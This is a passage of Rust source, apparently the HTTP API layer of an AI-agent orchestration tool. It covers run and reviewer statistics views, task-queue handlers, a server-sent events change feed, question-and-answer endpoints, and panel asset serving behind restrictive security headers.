4502 Self {
4503 agent: a.agent.clone(),
4504 entered: a.entered,
4505 wins: a.wins,
4506 empty: a.empty,
4507 win_rate: RateView::of(a.wins, a.entered),
4508 }
4509 }
4510}
4511
4512#[derive(Debug, Serialize)]
4516struct ReviewerStatsView {
4517 agent: String,
4518 rounds: usize,
4519 seated: usize,
4520 submitted: usize,
4521 adopted: usize,
4522 unique: usize,
4523 timeouts: usize,
4524 adopted_per_round: Option<f64>,
4525 precision: Option<RateView>,
4526 unique_rate: Option<RateView>,
4527 timeout_rate: Option<RateView>,
4528}
4529
4530impl From<&stats::ReviewerStats> for ReviewerStatsView {
4531 fn from(r: &stats::ReviewerStats) -> Self {
4532 Self {
4533 agent: r.agent.clone(),
4534 rounds: r.rounds,
4535 seated: r.seated,
4536 submitted: r.submitted,
4537 adopted: r.adopted,
4538 unique: r.unique,
4539 timeouts: r.timeouts,
4540 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4541 precision: RateView::of(r.adopted, r.submitted),
4542 unique_rate: RateView::of(r.unique, r.submitted),
4543 timeout_rate: RateView::of(r.timeouts, r.seated),
4544 }
4545 }
4546}
4547
4548#[derive(Debug, Serialize)]
4554struct AdvisorStatsView {
4555 agent: String,
4556 seated: usize,
4557 proposed: usize,
4558 absent: usize,
4559 faint: usize,
4560 strong: usize,
4561 reflection_rate: Option<RateView>,
4562}
4563
4564impl From<&stats::AdvisorStats> for AdvisorStatsView {
4565 fn from(a: &stats::AdvisorStats) -> Self {
4566 Self {
4567 agent: a.agent.clone(),
4568 seated: a.seated,
4569 proposed: a.proposed,
4570 absent: a.absent,
4571 faint: a.faint,
4572 strong: a.strong,
4573 reflection_rate: RateView::of(a.strong, a.proposed),
4574 }
4575 }
4576}
4577
4578#[derive(Debug, Serialize)]
4580struct E2eStatsView {
4581 rounds: usize,
4582 failures: usize,
4583 sole_detections: usize,
4584 deferred: usize,
4585 sole_rate: Option<RateView>,
4586}
4587
4588impl From<&stats::E2eStats> for E2eStatsView {
4589 fn from(e: &stats::E2eStats) -> Self {
4590 Self {
4591 rounds: e.rounds,
4592 failures: e.failures,
4593 sole_detections: e.sole_detections,
4594 deferred: e.deferred,
4595 sole_rate: RateView::of(e.sole_detections, e.failures),
4596 }
4597 }
4598}
4599
4600#[derive(Debug, Serialize)]
4608struct ReleaseBumpStatsView {
4609 merged: usize,
4610 recorded: usize,
4611 pr_opened: usize,
4612 automerge_enabled: usize,
4613 merged_directly: usize,
4614 needs_attention: usize,
4615 clean: usize,
4616 coverage_rate: Option<RateView>,
4617 automerge_rate: Option<RateView>,
4618 attention_rate: Option<RateView>,
4619}
4620
4621impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4622 fn from(b: &stats::ReleaseBumpStats) -> Self {
4623 Self {
4624 merged: b.merged,
4625 recorded: b.recorded,
4626 pr_opened: b.pr_opened,
4627 automerge_enabled: b.automerge_enabled,
4628 merged_directly: b.merged_directly,
4629 needs_attention: b.needs_attention,
4630 clean: b.clean(),
4631 coverage_rate: RateView::of(b.recorded, b.merged),
4632 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4633 attention_rate: RateView::of(b.needs_attention, b.recorded),
4634 }
4635 }
4636}
4637
4638#[derive(Debug, Serialize)]
4640struct TaskCountsView {
4641 queued: usize,
4642 running: usize,
4643 done: usize,
4644 failed: usize,
4645 held: usize,
4646 blocked: usize,
4647}
4648
4649impl From<crate::queue::TaskCounts> for TaskCountsView {
4650 fn from(c: crate::queue::TaskCounts) -> Self {
4651 Self {
4652 queued: c.queued,
4653 running: c.running,
4654 done: c.done,
4655 failed: c.failed,
4656 held: c.held,
4657 blocked: c.blocked,
4658 }
4659 }
4660}
4661
4662#[derive(Debug, Serialize)]
4668struct RepoSummaryView {
4669 repo: String,
4672 name: String,
4674 runs: usize,
4675 completion_rate: Option<RateView>,
4676}
4677
4678impl From<&stats::RepoStats> for RepoSummaryView {
4679 fn from(r: &stats::RepoStats) -> Self {
4680 let t = &r.stats.totals;
4681 Self {
4682 repo: r.repo.to_string_lossy().into_owned(),
4683 name: r.name.clone(),
4684 runs: t.runs,
4685 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4686 }
4687 }
4688}
4689
4690#[derive(Debug, Serialize)]
4696struct StatsView {
4697 totals: StatsTotalsView,
4698 agents: Vec<AgentStatsView>,
4700 reviewers: Vec<ReviewerStatsView>,
4702 advisors: Vec<AdvisorStatsView>,
4704 e2e: E2eStatsView,
4705 release_bumps: ReleaseBumpStatsView,
4706 queue: TaskCountsView,
4707 runs_unreadable: usize,
4717 repos: Vec<RepoSummaryView>,
4721 daily: Vec<DailyStatsView>,
4726 repo: Option<String>,
4730}
4731
4732#[derive(Debug, Serialize)]
4734struct DailyStatsView {
4735 date: String,
4737 runs: usize,
4738 merged: usize,
4739 ready: usize,
4740 other: usize,
4741 completion_rate: Option<RateView>,
4743}
4744
4745impl From<&stats::DayBucket> for DailyStatsView {
4746 fn from(b: &stats::DayBucket) -> Self {
4747 Self {
4748 date: b.date.to_string(),
4749 runs: b.runs,
4750 merged: b.merged,
4751 ready: b.ready,
4752 other: b.other,
4753 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4754 }
4755 }
4756}
4757
4758const STATS_DAILY_DAYS: usize = 30;
4760
4761#[derive(Debug, Default, Deserialize)]
4770#[serde(default)]
4771struct StatsQuery {
4772 repo: Option<String>,
4773}
4774
4775async fn stats_get(
4782 State(ui): State<Arc<Ui>>,
4783 Query(q): Query<StatsQuery>,
4784) -> ApiResult<Json<StatsView>> {
4785 blocking(move || {
4786 let states: Vec<RunState> = run_ids(&ui.runs)
4787 .into_iter()
4788 .filter_map(|id| read_run(&ui.runs, &id).ok())
4789 .collect();
4790 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4791 .iter()
4792 .map(RepoSummaryView::from)
4793 .collect();
4794 let mut scoped: Vec<&RunState> = states.iter().collect();
4795 let collected = match &q.repo {
4796 Some(repo) => {
4797 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4798 if filtered.is_empty() {
4799 return Err(ApiError::not_found(format!(
4800 "no runs recorded against repo `{repo}`"
4801 )));
4802 }
4803 scoped = filtered.clone();
4804 stats::collect_refs(filtered)
4805 }
4806 None => stats::collect(&states),
4807 };
4808 let daily = stats::daily(
4809 scoped,
4810 jiff::Zoned::now().date(),
4811 &jiff::tz::TimeZone::system(),
4812 STATS_DAILY_DAYS,
4813 );
4814 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4815 Ok(Json(StatsView {
4816 totals: StatsTotalsView::from(&collected.totals),
4817 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4818 reviewers: collected
4819 .reviewers
4820 .iter()
4821 .map(ReviewerStatsView::from)
4822 .collect(),
4823 advisors: collected
4824 .advisors
4825 .iter()
4826 .map(AdvisorStatsView::from)
4827 .collect(),
4828 e2e: E2eStatsView::from(&collected.e2e),
4829 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4830 queue: TaskCountsView::from(queue_counts),
4831 runs_unreadable: runs_unreadable(&ui.runs),
4832 repos,
4833 daily: daily.iter().map(DailyStatsView::from).collect(),
4834 repo: q.repo.clone(),
4835 }))
4836 })
4837 .await
4838}
4839
4840#[derive(Debug, Default, Deserialize)]
4843#[serde(default, deny_unknown_fields)]
4844struct HoldBody {
4845 reason: Option<String>,
4846}
4847
4848async fn queue_hold(
4849 State(ui): State<Arc<Ui>>,
4850 Path(id): Path<String>,
4851 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4852) -> ApiResult<Json<TaskView>> {
4853 let body = match body {
4857 Ok(Json(body)) => body,
4858 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4859 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4860 };
4861 let reason = body.reason.filter(|r| !r.trim().is_empty());
4862 mutate(ui, id, move |t| {
4863 t.hold_manual(reason.clone());
4864 Ok(())
4865 })
4866 .await
4867}
4868
4869async fn queue_release(
4870 State(ui): State<Arc<Ui>>,
4871 Path(id): Path<String>,
4872) -> ApiResult<Json<TaskView>> {
4873 mutate(ui, id, |t| {
4874 t.release();
4875 Ok(())
4876 })
4877 .await
4878}
4879
4880#[derive(Debug, Deserialize)]
4882#[serde(deny_unknown_fields)]
4883struct PriorityBody {
4884 priority: i32,
4885}
4886
4887async fn queue_priority(
4893 State(ui): State<Arc<Ui>>,
4894 Path(id): Path<String>,
4895 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4896) -> ApiResult<Json<TaskView>> {
4897 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4898 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4899}
4900
4901#[derive(Debug, Deserialize)]
4903#[serde(deny_unknown_fields)]
4904struct EditBody {
4905 title: String,
4906 instruction: String,
4907 #[serde(default)]
4910 force: bool,
4911}
4912
4913async fn queue_edit(
4917 State(ui): State<Arc<Ui>>,
4918 Path(id): Path<String>,
4919 body: std::result::Result<Json<EditBody>, JsonRejection>,
4920) -> ApiResult<Json<TaskView>> {
4921 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4922 let mut judged: Option<(String, PathBuf)> = None;
4926 if !body.force {
4927 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4928 let (id, text) = (id.clone(), body.instruction.clone());
4929 let (seen, hits) = blocking(move || {
4930 let id = resolve_task(&queue, &id)?;
4931 let t = queue.get(&id)?;
4932 if text == t.instruction {
4933 return Ok((None, Vec::new()));
4934 }
4935 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4936 Ok((Some((t.instruction, t.repo)), hits))
4937 })
4938 .await?;
4939 if let Some((_, repo)) = &seen {
4940 let cfg = crate::config::Config::discover(repo, None)
4941 .ok()
4942 .map(|(c, _)| c);
4943 let screened =
4944 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4945 .await
4946 .map_err(|dup| {
4947 ApiError::conflict(dup.render(
4948 "Nothing was saved. If it is not a duplicate, repeat the request \
4949 with \"force\": true.",
4950 ))
4951 })?;
4952 if let crate::dupes::Screened::Unjudged(why) = screened {
4953 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4954 }
4955 }
4956 judged = seen;
4957 }
4958 let force = body.force;
4959 mutate(ui, id, move |t| {
4960 if !force && body.instruction != t.instruction {
4961 match &judged {
4962 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4963 _ => {
4964 anyhow::bail!("the task changed while it was being checked; repeat the request")
4965 }
4966 }
4967 }
4968 t.edit(body.title.clone(), body.instruction.clone())
4969 })
4970 .await
4971}
4972
4973async fn queue_done(
4981 State(ui): State<Arc<Ui>>,
4982 Path(id): Path<String>,
4983) -> ApiResult<Json<TaskView>> {
4984 let home = ui.home.clone();
4985 mutate(ui, id, move |t| {
4986 t.succeed();
4987 crate::daemon::supersede_prior_runs(t, &home);
4995 Ok(())
4996 })
4997 .await
4998}
4999
5000async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5008 blocking(move || {
5009 let id = resolve_task(&ui.queue, &id)?;
5010 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5011 ui.queue
5012 .remove(&id, in_flight, &ui.questions)
5013 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5014 Ok(StatusCode::NO_CONTENT)
5015 })
5016 .await
5017}
5018
5019async fn mutate(
5028 ui: Arc<Ui>,
5029 id: String,
5030 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5031) -> ApiResult<Json<TaskView>> {
5032 blocking(move || {
5033 let id = resolve_task(&ui.queue, &id)?;
5034 let _claim = ui.queue.claim(&id).map_err(|e| {
5039 ApiError::conflict(format!(
5040 "{e:#} - a daemon is running this task, so it cannot be \
5041 changed from here yet"
5042 ))
5043 })?;
5044 let mut task = ui.queue.get(&id)?;
5045 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5046 Ok(dup) => ApiError::conflict(dup.render(
5047 "Nothing was saved. If it is not a duplicate, repeat the request with \
5048 \"force\": true.",
5049 )),
5050 Err(e) => ApiError::bad_request_from(e),
5051 })?;
5052 ui.queue.put(&mut task)?;
5053 Ok(Json(TaskView::from(task)))
5054 })
5055 .await
5056}
5057
5058async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5066 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5067 tokio::spawn(async move {
5068 let mut ticker = tokio::time::interval(POLL);
5069 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5070 let mut stamps: Option<[Stamps; 3]> = None;
5071 loop {
5072 ticker.tick().await;
5075 let state = Arc::clone(&ui);
5076 let revisions = tokio::task::spawn_blocking(move || {
5077 let stamps = [
5078 store_stamps(state.queue.root(), false),
5079 store_stamps(&state.runs, true),
5080 store_stamps(state.talks.root(), false),
5081 ];
5082 let revisions = (
5083 stamps_revision(&stamps[0]),
5084 stamps_revision(&stamps[1]),
5085 state.questions.revision(),
5086 stamps_revision(&stamps[2]),
5087 state.notices.revision(),
5088 state.lock_loop().rev,
5092 );
5093 (revisions, stamps)
5094 })
5095 .await;
5096 let Ok((revisions, next_stamps)) = revisions else {
5097 break;
5098 };
5099 if last == Some(revisions) {
5100 continue;
5101 }
5102 let mut payload = serde_json::json!({
5103 "queue_rev": revisions.0,
5104 "runs_rev": revisions.1,
5105 "questions_rev": revisions.2,
5106 "talks_rev": revisions.3,
5107 "notifications_rev": revisions.4,
5108 "loop_rev": revisions.5,
5109 });
5110 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5111 for (index, (key, rev)) in [
5112 ("queue_delta", base.0),
5113 ("runs_delta", base.1),
5114 ("talks_delta", base.3),
5115 ]
5116 .into_iter()
5117 .enumerate()
5118 {
5119 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5120 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5122 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5123 }
5124 }
5125 }
5126 last = Some(revisions);
5127 stamps = Some(next_stamps);
5128 let Ok(event) = Event::default().event("change").json_data(payload) else {
5130 break;
5131 };
5132 if tx.send(event).await.is_err() {
5133 break;
5134 }
5135 }
5136 });
5137 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5138 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5139}
5140
5141type Stamps = HashMap<String, (u128, u64)>;
5142
5143fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5145 std::fs::read_dir(root)
5146 .into_iter()
5147 .flatten()
5148 .flatten()
5149 .filter_map(|entry| {
5150 let path = if runs {
5151 entry.path().join("run.json")
5152 } else {
5153 entry.path()
5154 };
5155 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5156 return None;
5157 }
5158 let metadata = path.metadata().ok()?;
5159 let modified = metadata
5160 .modified()
5161 .ok()?
5162 .duration_since(std::time::UNIX_EPOCH)
5163 .ok()?;
5164 let id = if runs {
5165 entry.file_name().to_string_lossy().into_owned()
5166 } else {
5167 path.file_stem()?.to_string_lossy().into_owned()
5168 };
5169 Some((id, (modified.as_nanos(), metadata.len())))
5170 })
5171 .collect()
5172}
5173
5174#[derive(Debug, Serialize)]
5175struct Delta {
5176 base: u64,
5177 changed: Vec<String>,
5178 removed: Vec<String>,
5179}
5180
5181fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5182 let mut changed: Vec<_> = next
5183 .iter()
5184 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5185 .map(|(id, _)| id.clone())
5186 .collect();
5187 let mut removed: Vec<_> = previous
5188 .keys()
5189 .filter(|id| !next.contains_key(*id))
5190 .cloned()
5191 .collect();
5192 changed.sort_unstable();
5193 removed.sort_unstable();
5194 Delta {
5195 base,
5196 changed,
5197 removed,
5198 }
5199}
5200
5201fn runs_revision(runs: &FsPath) -> u64 {
5208 stamps_revision(&store_stamps(runs, true))
5209}
5210
5211fn stamps_revision(stamps: &Stamps) -> u64 {
5215 use std::hash::{Hash as _, Hasher as _};
5216 if stamps.is_empty() {
5217 return 0;
5218 }
5219 let mut entries: Vec<_> = stamps.iter().collect();
5220 entries.sort_unstable();
5221 let mut hasher = std::hash::DefaultHasher::new();
5222 entries.hash(&mut hasher);
5223 hasher.finish().max(1)
5224}
5225
5226fn run_ids(runs: &FsPath) -> Vec<String> {
5232 let mut ids: Vec<String> = std::fs::read_dir(runs)
5233 .into_iter()
5234 .flatten()
5235 .flatten()
5236 .filter(|e| e.path().join("run.json").is_file())
5237 .map(|e| e.file_name().to_string_lossy().into_owned())
5238 .collect();
5239 ids.sort_unstable_by(|a, b| b.cmp(a));
5241 ids
5242}
5243
5244fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5246 let path = runs.join(id).join("run.json");
5247 let body =
5248 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5249 let state: RunState =
5250 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5251 run::migrate_schema(state)
5256}
5257
5258#[must_use]
5266pub fn runs_unreadable(runs: &FsPath) -> usize {
5267 run_ids(runs)
5268 .into_iter()
5269 .filter(|id| read_run(runs, id).is_err())
5270 .count()
5271}
5272
5273fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5275 if runs.join(id).join("run.json").is_file() {
5276 return Ok(id.to_owned());
5277 }
5278 pick(run_ids(runs), id, "run")
5279}
5280
5281fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5283 if queue.path_of(id).is_file() {
5284 return Ok(id.to_owned());
5285 }
5286 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5287}
5288
5289#[derive(Debug, Serialize)]
5300struct QuestionView {
5301 #[serde(flatten)]
5302 question: Question,
5303 detail_md: Vec<md::Node>,
5304 thread_bodies_md: Vec<Vec<md::Node>>,
5306 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5309 waiting_on_agent: bool,
5319 holder: Option<&'static str>,
5323 deputies_enabled: bool,
5327 run_is_task: bool,
5330 origin_chat: Option<String>,
5335}
5336
5337impl QuestionView {
5338 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5342 let base = md::ImageBase::QuestionPanel {
5343 id: question.id.clone(),
5344 };
5345 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5346 Self {
5347 detail_md: md::to_nodes(&question.detail, &base),
5348 thread_bodies_md: question
5349 .thread
5350 .iter()
5351 .map(|t| md::to_nodes(&t.body, &base))
5352 .collect(),
5353 thread_notes_md: question
5354 .thread
5355 .iter()
5356 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5357 .collect(),
5358 waiting_on_agent: question.waiting_on_agent(),
5359 holder,
5360 deputies_enabled,
5361 run_is_task: question.run_names_task(),
5362 origin_chat: None,
5363 question,
5364 }
5365 }
5366
5367 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5369 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5370 self
5371 }
5372}
5373
5374fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5378 Config::discover(repo, None).ok().map(|(c, _)| c)
5379}
5380
5381fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5383 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5384}
5385
5386fn question_views(
5389 qs: Vec<Question>,
5390 store: &ask::Questions,
5391 load: impl FnOnce() -> Option<Config>,
5392) -> Vec<QuestionView> {
5393 if qs.is_empty() {
5394 return Vec::new();
5395 }
5396 let cfg = load();
5397 qs.into_iter()
5398 .map(|q| {
5399 let on = deputies_enabled(cfg.as_ref(), &q);
5400 QuestionView::of(q, store, on)
5401 })
5402 .collect()
5403}
5404
5405fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5415 if !q.status.open() {
5416 return None;
5417 }
5418 if q.cwd.is_none() && q.deputy.is_none() {
5419 return crate::deputy::kind_of(q).map(|_| "nobody");
5420 }
5421 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5422 Some(_) if q.deputy.is_some() => "deputy",
5423 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5424 Some(_) => "asker",
5425 None => "nobody",
5426 })
5427}
5428
5429async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5435 blocking(move || {
5436 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5437 Ok(Json(
5438 question_views(ui.questions.list(), &ui.questions, || {
5439 deputy_config(&ui.repo)
5440 })
5441 .into_iter()
5442 .map(|v| v.with_origin(&tasks, &talks))
5443 .collect(),
5444 ))
5445 })
5446 .await
5447}
5448
5449async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5452 blocking(move || {
5453 let items = ui.notices.list();
5454 let unread = items.iter().filter(|n| n.unread()).count();
5455 Ok(Json(
5456 serde_json::json!({ "unread": unread, "items": items }),
5457 ))
5458 })
5459 .await
5460}
5461
5462fn notice_error(e: anyhow::Error) -> ApiError {
5463 ApiError::not_found(format!("{e:#}"))
5466}
5467
5468async fn notification_read(
5470 State(ui): State<Arc<Ui>>,
5471 Path(id): Path<String>,
5472) -> ApiResult<Json<Notice>> {
5473 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5474}
5475
5476async fn notification_dismiss(
5478 State(ui): State<Arc<Ui>>,
5479 Path(id): Path<String>,
5480) -> ApiResult<Json<Notice>> {
5481 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5482}
5483
5484async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5486 blocking(move || {
5487 let changed = ui.notices.mark_all_read()?;
5488 Ok(Json(serde_json::json!({ "marked": changed })))
5489 })
5490 .await
5491}
5492
5493#[derive(Debug, Default, Deserialize)]
5499#[serde(default, deny_unknown_fields)]
5500struct NewAnswer {
5501 choice: Option<String>,
5502 text: Option<String>,
5503}
5504
5505async fn question_answer(
5506 State(ui): State<Arc<Ui>>,
5507 Path(id): Path<String>,
5508 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5509) -> ApiResult<Json<QuestionView>> {
5510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5511 let answer = match (body.choice, body.text) {
5512 (Some(c), None) => Answer::Choice(c),
5513 (None, Some(t)) => Answer::Text(t),
5514 (Some(_), Some(_)) => {
5515 return Err(ApiError::bad_request(
5516 "send either `choice` or `text`, not both",
5517 ));
5518 }
5519 (None, None) => {
5520 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5521 }
5522 };
5523
5524 blocking(move || {
5525 let id = resolve_question(&ui.questions, &id)?;
5526 let q = ui
5527 .questions
5528 .get(&id)
5529 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5530 if !q.status.open() {
5531 return Err(ApiError::conflict(format!(
5535 "question {} is already {}",
5536 q.short(),
5537 q.status.as_str()
5538 )));
5539 }
5540 let (q, ()) = ui
5544 .questions
5545 .update(&q.id, |r| r.answer(answer))
5546 .map_err(ApiError::bad_request_from)?;
5547 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5548 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5549 Ok(Json(
5550 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5551 ))
5552 })
5553 .await
5554}
5555
5556#[derive(Debug, Deserialize)]
5558#[serde(deny_unknown_fields)]
5559struct NewSay {
5560 body: String,
5561}
5562
5563async fn question_say(
5573 State(ui): State<Arc<Ui>>,
5574 Path(id): Path<String>,
5575 body: std::result::Result<Json<NewSay>, JsonRejection>,
5576) -> ApiResult<Json<QuestionView>> {
5577 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5578 blocking(move || {
5579 let id = resolve_question(&ui.questions, &id)?;
5580 let q = ui
5581 .questions
5582 .get(&id)
5583 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5584 if !q.status.open() {
5585 return Err(ApiError::conflict(format!(
5589 "question {} is already {}",
5590 q.short(),
5591 q.status.as_str()
5592 )));
5593 }
5594 let (q, ()) = ui
5597 .questions
5598 .update(&q.id, |r| r.say(body.body))
5599 .map_err(ApiError::bad_request_from)?;
5600 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5601 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5602 Ok(Json(
5603 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5604 ))
5605 })
5606 .await
5607}
5608
5609async fn question_consult(
5618 State(ui): State<Arc<Ui>>,
5619 Path(id): Path<String>,
5620) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5621 let (view, reclaimed) = blocking({
5622 let ui = Arc::clone(&ui);
5623 move || {
5624 let id = resolve_question(&ui.questions, &id)?;
5625 let q = ui
5626 .questions
5627 .get(&id)
5628 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5629 if !q.status.open() {
5630 return Err(ApiError::conflict(format!(
5631 "question {} is already {}",
5632 q.short(),
5633 q.status.as_str()
5634 )));
5635 }
5636 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5637 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5638 return Err(ApiError::conflict(format!(
5639 "question {} has no open chat to ask",
5640 q.short()
5641 )));
5642 };
5643 let cfg = if q.consult.is_none() {
5647 Some(Config::discover(&talk.repo, None)?.0)
5648 } else {
5649 None
5650 };
5651 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5652 let claim = if fresh {
5653 match ui.begin_queued_talk_turn(&talk.id)? {
5654 Some(turn_guard) => {
5655 let talk = ui.talks.get(&talk.id)?;
5656 let cfg = match cfg {
5657 Some(cfg) => cfg,
5658 None => Config::discover(&talk.repo, None)?.0,
5659 };
5660 Some((talk, cfg, turn_guard))
5661 }
5662 None => None,
5663 }
5664 } else {
5665 None
5666 };
5667 let q = ui.questions.get(&q.id)?;
5668 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5669 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5670 Ok((view, claim))
5671 }
5672 })
5673 .await?;
5674 if let Some((talk, cfg, turn_guard)) = reclaimed {
5675 let talks = ui.talks.clone();
5676 let id = talk.id.clone();
5677 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5678 }
5679 Ok((StatusCode::ACCEPTED, Json(view)))
5680}
5681
5682fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5684 if store.path_of(id).is_file() {
5685 return Ok(id.to_owned());
5686 }
5687 pick(
5688 store.list().into_iter().map(|q| q.id).collect(),
5689 id,
5690 "question",
5691 )
5692}
5693
5694async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5709 blocking(move || {
5710 let id = resolve_question(&ui.questions, &id)?;
5711 let Some(html) = ui.questions.panel_html(&id) else {
5712 return Err(ApiError::not_found(format!("question {id} has no panel")));
5713 };
5714 Ok(panel_response(
5715 "text/html; charset=utf-8",
5716 false,
5717 html.into_bytes(),
5718 ))
5719 })
5720 .await
5721}
5722
5723async fn question_asset(
5751 State(ui): State<Arc<Ui>>,
5752 Path((id, name)): Path<(String, String)>,
5753) -> ApiResult<Response> {
5754 if !crate::ask::valid_asset_name(&name) {
5757 return Err(ApiError::bad_request(format!(
5758 "`{name}` is not a usable asset name"
5759 )));
5760 }
5761 blocking(move || {
5762 let id = resolve_question(&ui.questions, &id)?;
5763 let asset = ui
5764 .questions
5765 .panel_asset(&id, &name)
5766 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5767 let Some(bytes) = asset else {
5768 return Err(ApiError::not_found(format!(
5769 "question {id} has no asset `{name}`"
5770 )));
5771 };
5772 Ok(panel_response(
5773 asset_content_type(&name),
5774 is_svg(&name),
5775 bytes,
5776 ))
5777 })
5778 .await
5779}
5780
5781fn asset_content_type(name: &str) -> &'static str {
5794 match extension(name).as_deref() {
5795 Some("png") => "image/png",
5796 Some("jpg" | "jpeg") => "image/jpeg",
5797 Some("gif") => "image/gif",
5798 Some("webp") => "image/webp",
5799 Some("svg") => "image/svg+xml",
5800 Some("css") => "text/css; charset=utf-8",
5801 Some("txt") => "text/plain; charset=utf-8",
5802 _ => "application/octet-stream",
5803 }
5804}
5805
5806fn is_svg(name: &str) -> bool {
5809 extension(name).as_deref() == Some("svg")
5810}
5811
5812fn extension(name: &str) -> Option<String> {
5814 name.rsplit_once('.')
5815 .map(|(_, ext)| ext.to_ascii_lowercase())
5816}
5817
5818fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5835 let mut res = (
5836 [
5837 (header::CONTENT_TYPE, content_type),
5838 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5839 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5840 (header::REFERRER_POLICY, "no-referrer"),
5841 ],
5842 body,
5843 )
5844 .into_response();
5845 if download {
5846 res.headers_mut().insert(
5847 header::CONTENT_DISPOSITION,
5848 HeaderValue::from_static("attachment"),
5849 );
5850 }
5851 res
5852}
5853
5854#[derive(Debug, Serialize)]
5860struct TalkView {
5861 #[serde(flatten)]
5862 talk: Talk,
5863 turn_bodies_md: Vec<Vec<md::Node>>,
5864 thinking: bool,
